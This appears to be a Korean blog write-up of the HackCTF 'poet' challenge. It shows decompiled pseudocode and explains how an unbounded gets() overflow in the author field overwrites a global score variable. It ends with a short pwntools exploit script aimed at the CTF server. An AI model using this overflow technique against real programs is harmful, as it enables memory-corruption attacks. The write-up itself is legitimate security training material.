풀이
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
먼저 poet을 실행해보자.
시를 적고, 저자를 적으면 점수를 준다.
입력은 무한 반복문으로 받는 듯하다.
IDA를 이용해 슈도코드를 확인해보자.
main Pseudocode
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
const char *v3; // rdi
setvbuf(_bss_start, 0LL, 2, 0LL);
v3 = s;
puts(s);
while ( 1 )
{
get_poem(v3, 0LL);
get_author(v3);
rate_poem(v3);
if ( dword_6024E0 == 1000000 )
break;
v3 = asc_400D78;
puts(asc_400D78);
}
reward(v3);
}
get_poem Pseudocode
__int64 get_poem()
{
__int64 result; // rax
printf("Enter :\n> ");
result = gets(poem);
dword_6024E0 = 0;
return result;
}
get_author Pseudocode
__int64 get_author()
{
printf(&byte_400C38);
return gets(&unk_6024A0);
}
rate_poem Pseudocode
int rate_poem()
{
char dest; // [rsp+0h] [rbp-410h]
char *s1; // [rsp+408h] [rbp-8h]
strcpy(&dest, poem);
for ( s1 = strtok(&dest, " \n"); s1; s1 = strtok(0LL, " \n") )
{
if ( !strcmp(s1, "ESPR")
|| !strcmp(s1, "eat")
|| !strcmp(s1, "sleep")
|| !strcmp(s1, "pwn")
|| !strcmp(s1, "repeat")
|| !strcmp(s1, "CTF")
|| !strcmp(s1, "capture")
|| !strcmp(s1, "flag") )
{
dword_6024E0 += 100;
}
}
return printf(asc_400BC0, poem, (unsigned int)dword_6024E0);
}
먼저 main 함수에서 get_poem -> get_author -> rate_poem 함수를 실행한다.
get_poem 함수에서는 poem 배열에다가 시를 입력받는다.
get_author 함수에서는 0x6024a0 위치에 저자를 입력받는다.
그리고, rate_poem 함수에서는 ESPR, eat, sleep.. 등등 문자열 개수만큼 100점을 부여하는데..
플래그 상을 받기 위해서는 점수 1,000,000점이 필요하다.
단순하게, 문자열을 10,000번 반복해 입력할 수 있다면 해결할 수 있지만, Segmentation Fault가 뜨기 때문에 다른 방법을 이용해야 한다.
여기서, get_author 함수를 보면, 저자를 입력받는 위치가 0x6024a0이고, 점수를 저장하는 위치는 0x6024e0이다.
get_author 함수에서 gets로 입력받기 때문에, bof가 발생하여 점수를 조작할 수 있을 거 같다.
저자의 주소와 점수의 주소 차이는 poem+1024(author) poem+1088(score) 이기 때문에 총 64칸 차이가 난다.
64칸을 더미 값으로 덮고, 뒤에 1,000,000점을 16진수로 넣어준다면?
페이로드는 다음과 같다.
1 from pwn import *
2
3 context.log_level = 'debug'
4 p = remote('ctf.j0n9hyun.xyz', 3012)
5
6 payload = 'A'*64
7 payload += p64(0xf4240) #1,000,000 to hex
8
9 p.sendlineafter('>','bjloed')
10 p.sendlineafter('>', payload)
11
12 p.interactive()
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] Random Key 풀이 (200p) (0) | 2020.08.24 |
---|---|
[HackCTF] 1996 풀이 (200p) (0) | 2020.08.23 |
[HackCTF] g++ pwn 풀이 (200p) (0) | 2020.08.23 |
[HackCTF] RTL_World 풀이 (200p) (0) | 2020.08.23 |
[HackCTF] Yes or no 풀이 (150p) (0) | 2020.08.23 |